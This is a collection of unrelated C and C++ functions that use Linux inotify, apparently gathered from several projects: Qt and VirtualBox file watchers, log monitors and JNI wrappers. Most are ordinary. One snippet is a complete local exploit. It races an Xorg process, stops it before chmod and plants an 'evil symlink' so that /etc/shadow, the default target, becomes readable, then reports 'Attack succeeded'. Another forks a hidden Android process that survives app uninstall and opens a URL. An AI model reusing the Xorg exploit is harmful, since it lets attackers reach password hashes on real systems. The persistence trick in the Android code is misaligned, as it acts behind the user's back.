void QInotifyFileSystemWatcherEngine::readFromInotify() { QMutexLocker locker(&mutex); // qDebug() << "QInotifyFileSystemWatcherEngine::readFromInotify"; int buffSize = 0; ioctl(inotifyFd, FIONREAD, (char *) &buffSize); QVarLengthArray<char, 4096> buffer(buffSize); buffSize = read(inotifyFd, buffer.data(), buffSize); const char *at = buffer.data(); const char * const end = at + buffSize; QMap<int, inotify_event> eventForId; while (at < end) { const inotify_event *event = reinterpret_cast<const inotify_event *>(at); if (eventForId.contains(event->wd)) eventForId[event->wd].mask |= event->mask; else eventForId.insert(event->wd, *event); at += sizeof(inotify_event) + event->len; } QMap<int, inotify_event>::const_iterator it = eventForId.constBegin(); while (it != eventForId.constEnd()) { inotify_event event = *it; ++it; // qDebug() << "inotify event, wd" << event.wd << "mask" << hex << event.mask; int id = event.wd; QString path = idToPath.value(id); if (path.isEmpty()) { // perhaps a directory? id = -id; path = idToPath.value(id); if (path.isEmpty()) continue; } // qDebug() << "event for path" << path; if ((event.mask & (IN_DELETE_SELF | IN_MOVE_SELF | IN_UNMOUNT)) != 0) { pathToID.remove(path); idToPath.remove(id); inotify_rm_watch(inotifyFd, event.wd); if (id < 0) emit directoryChanged(path, true); else emit fileChanged(path, true); } else { if (id < 0) emit directoryChanged(path, false); else emit fileChanged(path, false); } } }
int HostDnsServiceLinux::monitorWorker() { AutoNotify a; int rc = socketpair(AF_LOCAL, SOCK_DGRAM, 0, g_DnsMonitorStop); AssertMsgReturn(rc == 0, ("socketpair: failed (%d: %s)\n", errno, strerror(errno)), E_FAIL); FileDescriptor stopper0(g_DnsMonitorStop[0]); FileDescriptor stopper1(g_DnsMonitorStop[1]); pollfd polls[2]; RT_ZERO(polls); polls[0].fd = a.fileDescriptor(); polls[0].events = POLLIN; polls[1].fd = g_DnsMonitorStop[1]; polls[1].events = POLLIN; monitorThreadInitializationDone(); int wd[2]; wd[0] = wd[1] = -1; /* inotify inialization */ wd[0] = inotify_add_watch(a.fileDescriptor(), g_ResolvConfFullPath.c_str(), IN_CLOSE_WRITE|IN_DELETE_SELF); /** * If /etc/resolv.conf exists we want to listen for movements: because * # mv /etc/resolv.conf ... * won't arm IN_DELETE_SELF on wd[0] instead it will fire IN_MOVE_FROM on wd[1]. * * Because on some distributions /etc/resolv.conf is link, wd[0] can't detect deletion, * it's recognizible on directory level (wd[1]) only. */ wd[1] = inotify_add_watch(a.fileDescriptor(), g_EtcFolder.c_str(), wd[0] == -1 ? IN_MOVED_TO|IN_CREATE : IN_MOVED_FROM|IN_DELETE); struct InotifyEventWithName combo; while(true) { rc = poll(polls, 2, -1); if (rc == -1) continue; AssertMsgReturn( ((polls[0].revents & (POLLERR|POLLNVAL)) == 0) && ((polls[1].revents & (POLLERR|POLLNVAL)) == 0), ("Debug Me"), VERR_INTERNAL_ERROR); if (polls[1].revents & POLLIN) return VINF_SUCCESS; /* time to shutdown */ if (polls[0].revents & POLLIN) { RT_ZERO(combo); ssize_t r = read(polls[0].fd, static_cast<void *>(&combo), sizeof(combo)); if (combo.e.wd == wd[0]) { if (combo.e.mask & IN_CLOSE_WRITE) { readResolvConf(); /* notifyAll() takes required locks */ notifyAll(); } else if (combo.e.mask & IN_DELETE_SELF) { inotify_rm_watch(a.fileDescriptor(), wd[0]); /* removes file watcher */ inotify_add_watch(a.fileDescriptor(), g_EtcFolder.c_str(), IN_MOVED_TO|IN_CREATE); /* alter folder watcher */ } else if (combo.e.mask & IN_IGNORED) { wd[0] = -1; /* we want receive any events on this watch */ } else { /** * It shouldn't happen, in release we will just ignore in debug * we will have to chance to look at into inotify_event */ AssertMsgFailed(("Debug Me!!!")); } } else if (combo.e.wd == wd[1]) { if ( combo.e.mask & IN_MOVED_FROM || combo.e.mask & IN_DELETE) { if (g_ResolvConf == combo.e.name) { /** * Our file has been moved so we should change watching mode. */ inotify_rm_watch(a.fileDescriptor(), wd[0]); wd[1] = inotify_add_watch(a.fileDescriptor(), g_EtcFolder.c_str(), IN_MOVED_TO|IN_CREATE); AssertMsg(wd[1] != -1, ("It shouldn't happen, further investigation is needed\n")); } } else { AssertMsg(combo.e.mask & (IN_MOVED_TO|IN_CREATE), ("%RX32 event isn't expected, we are waiting for IN_MOVED|IN_CREATE\n", combo.e.mask)); if (g_ResolvConf == combo.e.name) { AssertMsg(wd[0] == -1, ("We haven't removed file watcher first\n")); /* alter folder watcher*/ wd[1] = inotify_add_watch(a.fileDescriptor(), g_EtcFolder.c_str(), IN_MOVED_FROM|IN_DELETE); AssertMsg(wd[1] != -1, ("It shouldn't happen.\n")); wd[0] = inotify_add_watch(a.fileDescriptor(), g_ResolvConfFullPath.c_str(), IN_CLOSE_WRITE | IN_DELETE_SELF); AssertMsg(wd[0] != -1, ("Adding watcher to file (%s) has been failed!\n", g_ResolvConfFullPath.c_str())); /* Notify our listeners */ readResolvConf(); notifyAll(); } } } else { /* It shouldn't happen */ AssertMsgFailed(("Shouldn't happen! Please debug me!")); } } } }
void FileSystem::inotifyWatcher() { int fd = FileSys._inotifyHandle; char buffer[BUF_LEN]; struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0; fd_set rfds; while(FileSys._keepGoing) { FD_ZERO (&rfds); FD_SET (fd, &rfds); if(select (FD_SETSIZE, &rfds, NULL, NULL, &tv) < 1) continue; int length = read( fd, buffer, BUF_LEN ); if ( length < 0 ) continue; int offset = 0; while (offset < length) { struct inotify_event *event = (inotify_event*)(buffer + offset); switch (event->mask ) { case IN_MODIFY: case IN_ATTRIB: { int wd = event->wd; auto eqRange = FileSys._trackedFiles.equal_range(wd); for (auto it = eqRange.first; it != eqRange.second; ++it) { File* fileobject = it->second; fileobject->_fileChangedCallback(*fileobject); } } break; case IN_IGNORED: { int wd = event->wd; auto eqRange = FileSys._trackedFiles.equal_range(wd); auto it = eqRange.first; // remove tracking of the removed descriptor ( void ) inotify_rm_watch( fd, wd ); // if there are files tracking if(it != eqRange.second) { // add new tracking int new_wd = inotify_add_watch( fd, it->second->path().c_str(), mask); // save all files std::vector<File*> v; for (;it != eqRange.second; ++it) { v.push_back(it->second); } // erase all previous files and add them again FileSys._trackedFiles.erase(eqRange.first, eqRange.second); for(auto f: v) { FileSys._trackedFiles.emplace(new_wd, f); } } } //printf ("IN_IGNORED\n"); break; default: break; } offset += EVENT_SIZE + event->len; } } }
int main (int argc, char * argv[]) { char opt; extern int optind; while((opt = getopt(argc, argv, "h")) != -1) { //while options exist in commandline getopt switch(opt) { case 'h': fprintf(stderr,"\nProgram dosen't take options"); print_usage(); return -1; default: print_usage(); return -1; } } if (argc>2) { int i; for(i=0;i<argc;++i) { fprintf(stderr,"%s ",argv[i]); } fprintf(stderr,"\nThis program takes only one command line argument\n"); print_usage(); return -1; } char dir [PATH_MAX+1]; if (argc==1) { char buffer[PATH_MAX+1]; getcwd(buffer,PATH_MAX+1); strcpy(dir,(char *)buffer); } else { char temp[100]; strcpy(dir,(char*)argv[1]); realpath(dir,temp); } struct stat buff; lstat(dir,&buff); int mode=buff.st_mode; if(S_ISDIR(mode)!=-1) { list_dir(dir); } else { fprintf(stderr,"%s is not a directory",dir); return -1; } char file [PATH_MAX]; scanf("%s",file); //fgets(file,sizeof(file),stdin); //printf("\n%s......%s",dir,file); int result=0; char file_watch [PATH_MAX]; strcpy(file_watch,dir); strcat(file_watch,"/"); strcat(file_watch,file); result=check_file_in_dirlist(file_watch); if(result==1) { //int x; ssize_t x; int fd=0,wd=0; char buffer[buffer_length]; char *p; fd=inotify_init(); if ( fd < 0 ) { perror("inotify_init"); } wd=inotify_add_watch(fd,file_watch,IN_OPEN|IN_MODIFY); while(1) { x=read(fd,buffer,buffer_length); for (p=buffer;p<buffer+x;) { struct inotify_event* event=(struct inotify_event*)p; if(event->mask & IN_OPEN)printf("File Read\n"); if(event->mask & IN_MODIFY)printf("File Modified\n"); p+=sizeof(struct inotify_event) + event->len; } } inotify_rm_watch(fd,wd); close(fd); close(wd); } else { //printf("error"); return -1; } return 0; }
static void Inotify_nativeInotifyRmWatch(JNIEnv *env, jobject obj, jint watcher) { int fd = env->GetIntField(obj, fields_list.descriptor); inotify_rm_watch(fd, watcher); }
int ves_icall_System_IO_InotifyWatcher_RemoveWatch (int fd, gint32 watch_descriptor) { return inotify_rm_watch (fd, watch_descriptor); }
int main(int argc, char *argv[]) { int length, i = 0, rd, j; int fd, wd, log; char buffer[sizeof(struct inotify_event)]; struct inotify_event *event; char logbuffer[LOG_BUFFER], *line; if(argc < 2) { fprintf(stderr, "Usage: %s log-filename\n", argv[0]); return 1; } /* Grabbing system informations */ if(gethostname(global.hostname, 64) != 0) { perror("[-] getsystem."); return 1; } /* Initializing inotify */ if((fd = inotify_init()) < 0) { perror("[-] inotify_init"); return 1; } /* Monitoring log change */ if((wd = inotify_add_watch(fd, argv[1], IN_MODIFY)) == -1) { perror("[-] inotify_add_watch"); return 1; } /* Init syslog */ openlog("sshbanner", LOG_PID | LOG_NOWAIT, LOG_DAEMON); syslog(LOG_INFO, "Initializing..."); /* Opening log file */ if((log = open(argv[1], O_RDONLY)) == -1) { perror("[-] open"); return 1; } /* Signal Handling */ signal_intercept(SIGINT, sighandler); signal_intercept(SIGTERM, sighandler); signal_intercept(SIGSEGV, sighandler); /* Modules initialization */ module_init(); /* iptables initialization */ module_chain_init(global.modules); printf("[+] Banner: waiting message...\n"); /* Waiting */ while((length = read(fd, buffer, sizeof(struct inotify_event))) > 0) { for(i = 0; i < length; i += sizeof(struct inotify_event) + event->len) { event = (struct inotify_event *) &buffer[i]; /* Going near of the end of file */ if(lseek(log, -LOG_BUFFER, SEEK_END) == -1) if(lseek(log, 0, SEEK_SET) == -1) perror("[-] lseek"); /* Reading to buffering */ if((rd = read(log, logbuffer, LOG_BUFFER)) == -1) { perror("[-] read"); break; } logbuffer[rd - 1] = '\0'; /* Gabbing last line */ line = logbuffer; for(j = rd - 2; j > 0; j--) { if(logbuffer[j] == '\n') { line = logbuffer + j + 1; break; } } log_parse(line, global.modules); } } perror("[-] read"); /* Cleaning */ inotify_rm_watch(fd, wd); close(fd); close(log); closelog(); return 0; }
void Unwatch(int wd) { inotify_rm_watch(m_wfd, wd); m_watchFd.erase(wd); }
void close_wd (gpointer key, gpointer data, gpointer user_data) { int *wd = key, *fd = user_data; fprintf (stderr, "- %d : %d\n", *wd, inotify_rm_watch (*fd, *wd)); }
void *inotify_thr(void* p) { t_param_plat *param_plataforma = (t_param_plat *) p; t_param_plat param; //lo uso pare leer todo el archivo de configuracion, despues me quedo con lo que necesito int offset; int watch_descriptor; char buffer[BUF_LEN]; // Al inicializar inotify este nos devuelve un descriptor de archivo int file_descriptor = inotify_init(); int length; int cuantum; // El buffer es de tipo array de char, o array de bytes. Esto es porque como los // nombres pueden tener nombres mas cortos que 24 caracteres el tamaño va a ser menor // a sizeof( struct inotify_event ) + 24. struct inotify_event *event; log_in_disk_plat(LOG_LEVEL_TRACE, "inotify_thr"); if (file_descriptor < 0) { perror("inotify_init"); } // Creamos un monitor sobre un path indicando que eventos queremos escuchar watch_descriptor = inotify_add_watch(file_descriptor, PATH_CONFIG_INOTIFY, IN_MODIFY); for (;;) { // El file descriptor creado por inotify, es el que recibe la información sobre los eventos ocurridos // para leer esta información el descriptor se lee como si fuera un archivo comun y corriente pero // la diferencia esta en que lo que leemos no es el contenido de un archivo sino la información // referente a los eventos ocurridos length = read(file_descriptor, buffer, BUF_LEN); if (length < 0) { perror("read"); } offset = 0; // Luego del read buffer es un array de n posiciones donde cada posición contiene // un eventos ( inotify_event ) junto con el nombre de este. while (offset < length) { event = (struct inotify_event *) &buffer[offset]; // El campo "len" nos indica la longitud del tamaño del nombre if (event->len) { // Dentro de "mask" tenemos el evento que ocurrio y sobre donde ocurrio // sea un archivo o un directorio if (event->mask & IN_MODIFY) { if (event->mask & IN_ISDIR) { printf("The directory %s was modified.\n", event->name); } else { *param_plataforma = leer_archivo_plataforma_config(); //cuantum = leer_archivo_plataforma_config_cuantum(); log_in_disk_plat(LOG_LEVEL_DEBUG, "Nuevo cuantum de %d", param_plataforma->CUANTUM); // log_in_disk_plat(LOG_LEVEL_DEBUG, "Nuevo cuantum de %d", // cuantum); //memcpy(&(param_plataforma->CUANTUM),&cuantum,sizeof(int)); } } } offset += sizeof(struct inotify_event) + event->len; } log_in_disk_plat(LOG_LEVEL_DEBUG, "Nuevo cuantum de %d", param_plataforma->CUANTUM); } inotify_rm_watch(file_descriptor, watch_descriptor); close(file_descriptor); return EXIT_SUCCESS; }
int main(int argc, char *argv[]) { int i, fd; off_t off, loff; ssize_t rd; int didsth = 0; #ifdef USE_INOTIFY int ifd, wd; #endif close(0); if (argc < 2) { /* little better than glob(3)... */ execl("/bin/sh", "sh", "-c", "fq ${NQDIR:+$NQDIR/},*", (char *) 0); exit(111); } #ifdef USE_INOTIFY ifd = inotify_init(); if (ifd < 0) exit(111); #endif for (i = 1; i < argc; i++) { loff = 0; fd = open(argv[i], O_RDONLY); if (fd < 0) continue; /* skip not running jobs, unless we did not output anything yet * and are at the last argument. */ if (!islocked(fd) && (didsth || i != argc - 1)) continue; write(1, "==> ", 4); write(1, argv[i], strlen(argv[i])); write(1, "\n", 1); didsth = 1; #ifdef USE_INOTIFY wd = inotify_add_watch(ifd, argv[i], IN_MODIFY|IN_CLOSE_WRITE); #endif while (1) { off = lseek(fd, 0, SEEK_END); if (off < loff) loff = off; /* file truncated */ if (off == loff) { if (flock(fd, LOCK_EX|LOCK_NB) == -1 && errno == EWOULDBLOCK) { #ifdef USE_INOTIFY /* any inotify event is good */ read(ifd, ibuf, sizeof ibuf); #else /* poll for size change */ while (off == lseek(fd, 0, SEEK_END)) usleep(DELAY); #endif continue; } else { flock(fd, LOCK_UN); break; } } if (off - loff > sizeof buf) off = loff + sizeof buf; rd = pread(fd, &buf, off - loff, loff); write(1, buf, rd); loff += rd; } #ifdef USE_INOTIFY inotify_rm_watch(ifd, wd); #endif close(fd); } #ifdef USE_INOTIFY close(ifd); #endif return 0; }
int main(int argc, char **argv) { pid_t pid, remove_pid; struct stat st; int fd, wd, status; char targetfile[128], lockfiletmp[20], lockfile[20]; if (argc < 2) strcpy(targetfile, "/etc/shadow"); else strcpy(targetfile, argv[1]); sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY + 1); sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY + 1); if (stat(lockfile, &st) == 0) { printf("[-] %s exists, maybe Xorg is already running on this" " display? Choose another display by editing the DISPLAY" " attributes.\n", lockfile); return 1; } umask(077); signal(SIGALRM, timeout_handler); symlink("/dontexist", lockfile); fd = inotify_init(); wd = inotify_add_watch(fd, "/tmp", IN_CREATE); alarm(5); printf("[+] Trying to stop a Xorg process right before chmod()\n"); pid = launch_xorg_instance(19); syscall(SYS_read, fd, 0, 0); syscall(SYS_kill, pid, SIGSTOP); alarm(0); printf("[+] Process ID %d stopped (SIGSTOP sent)\n", pid); inotify_rm_watch(fd, wd); stat(lockfiletmp, &st); if ((st.st_mode & 4) != 0) { printf("[-] %s file has wrong rights (%o) removing it by launching" " another Xorg process\n[-] Attack failed. Try again!\n", lockfiletmp, st.st_mode); remove_pid = launch_xorg_instance(0); waitpid(remove_pid, &status, 0); unlink(lockfile); return 1; } printf("[+] Removing %s by launching another Xorg process\n", lockfiletmp); remove_pid = launch_xorg_instance(0); waitpid(remove_pid, &status, 0); printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp, targetfile); symlink(targetfile, lockfiletmp); printf("[+] Process ID %d resumed (SIGCONT sent)\n", pid); kill(pid, SIGCONT); waitpid(pid, &status, 0); unlink(lockfile); stat(targetfile, &st); if (!(st.st_mode & 004)) { printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode); return 1; } printf("[+] Attack succeeded, ls -l %s:\n", targetfile); show_target_file(targetfile); return 0; }
/* * Class: com_sch_uninstallcallback_UninstallCallback * Method: init * Signature: ()V * return: 子进程pid */ JNIEXPORT int JNICALL Java_com_sch_uninstallcallback_UninstallCallback_init(JNIEnv *env, jobject obj, jstring appDir, jstring appFilesDir, jstring appObservedFile, jstring appLockFile, jstring userSerial, jstring fileUrl, jstring filePath, jstring serverUrl) { app_dir = (*env)->GetStringUTFChars(env, appDir, &isCopy); app_files_dir = (*env)->GetStringUTFChars(env, appFilesDir, &isCopy); app_observed_file = (*env)->GetStringUTFChars(env, appObservedFile, &isCopy); app_lock_file = (*env)->GetStringUTFChars(env, appLockFile, &isCopy); jstring tag = (*env)->NewStringUTF(env, TAG); LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "init observer"), &isCopy)); // fork子进程,以执行轮询任务 pid_t pid = fork(); if (pid < 0) { LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "fork failed !!!"), &isCopy)); exit(1); } else if (pid == 0) { // 若监听文件所在文件夹不存在,创建 FILE *p_filesDir = fopen(app_files_dir, "r"); if (p_filesDir == NULL) { int filesDirRet = mkdir(app_files_dir, S_IRWXU | S_IRWXG | S_IXOTH); if (filesDirRet == -1) { LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "mkdir failed !!!"), &isCopy)); exit(1); } } // 若被监听文件不存在,创建文件 FILE *p_observedFile = fopen(app_observed_file, "r"); if (p_observedFile == NULL) { p_observedFile = fopen(app_observed_file, "w"); } fclose(p_observedFile); // 创建锁文件,通过检测加锁状态来保证只有一个卸载监听进程 int lockFileDescriptor = open(app_lock_file, O_RDONLY); if (lockFileDescriptor == -1) { lockFileDescriptor = open(app_lock_file, O_CREAT); } int lockRet = flock(lockFileDescriptor, LOCK_EX | LOCK_NB); if (lockRet == -1) { LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "observed by another process"), &isCopy)); exit(0); } LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "observed by child process"), &isCopy)); // 分配空间,以便读取event void *p_buf = malloc(sizeof(struct inotify_event)); if (p_buf == NULL) { LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "malloc failed !!!"), &isCopy)); exit(1); } // 分配空间,以便打印mask int maskStrLength = 7 + 10 + 1;// mask=0x占7字节,32位整形数最大为10位,转换为字符串占10字节,'\0'占1字节 char *p_maskStr = malloc(maskStrLength); if (p_maskStr == NULL) { free(p_buf); LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "malloc failed !!!"), &isCopy)); exit(1); } // 开始监听 LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "start observe"), &isCopy)); // 初始化 int fileDescriptor = inotify_init(); if (fileDescriptor < 0) { free(p_buf); free(p_maskStr); LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "inotify_init failed !!!"), &isCopy)); exit(1); } // 添加被监听文件到监听列表 int watchDescriptor = inotify_add_watch(fileDescriptor, app_observed_file, IN_ALL_EVENTS); if (watchDescriptor < 0) { free(p_buf); free(p_maskStr); LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "inotify_add_watch failed !!!"), &isCopy)); exit(1); } while(1) { // read会阻塞进程 size_t readBytes = read(fileDescriptor, p_buf, sizeof(struct inotify_event)); // 打印mask snprintf(p_maskStr, maskStrLength, "mask=0x%x\0", ((struct inotify_event *) p_buf)->mask); LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, p_maskStr), &isCopy)); // 若文件被删除,可能是已卸载,还需进一步判断app文件夹是否存在 if (IN_DELETE_SELF == ((struct inotify_event *) p_buf)->mask) { sleep(1);//休眠1秒 FILE *p_appDir = fopen(app_dir, "r"); // 确认已卸载 if (p_appDir == NULL) { inotify_rm_watch(fileDescriptor, watchDescriptor); break; } // 未卸载,可能用户执行了"清除数据" else { fclose(p_appDir); LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "restart observe files"), &isCopy)); // 重新创建被监听文件,并重新监听 FILE *p_observedFile = fopen(app_observed_file, "w"); fclose(p_observedFile); int watchDescriptor = inotify_add_watch(fileDescriptor, app_observed_file, IN_ALL_EVENTS); if (watchDescriptor < 0) { free(p_buf); free(p_maskStr); LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "inotify_add_watch failed !!!"), &isCopy)); exit(1); } } } } // 释放资源 free(p_buf); free(p_maskStr); // 停止监听 LOG_DEBUG((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "stop observe"), &isCopy)); const char *url = NULL; if (fopen((*env)->GetStringUTFChars(env, filePath, &isCopy), "r") == NULL) { // 本地文件不存在使用备用链接 url = (*env)->GetStringUTFChars(env, serverUrl, &isCopy); } else { // 本地文件存在使用本地链接 url = (*env)->GetStringUTFChars(env, fileUrl, &isCopy); } if (userSerial == NULL) { // 执行命令am start -a android.intent.action.VIEW -d $(url)调用浏览器打开url execlp("am", "am", "start", "-a", "android.intent.action.VIEW", "-d", url, "-t", "text/html", (char *)NULL); } else { // 执行命令am start --user userSerial -a android.intent.action.VIEW -d $(url)调用浏览器打开url execlp("am", "am", "start", "--user", (*env)->GetStringUTFChars(env, userSerial, &isCopy), "-a", "android.intent.action.VIEW", "-d", url, "-t", "text/html", (char *)NULL); } // 执行命令失败log LOG_ERROR((*env)->GetStringUTFChars(env, tag, &isCopy) , (*env)->GetStringUTFChars(env, (*env)->NewStringUTF(env, "exec AM command failed !!!"), &isCopy)); } else { // 父进程直接退出,使子进程被init进程领养,以避免子进程僵死,同时返回子进程pid return pid; } }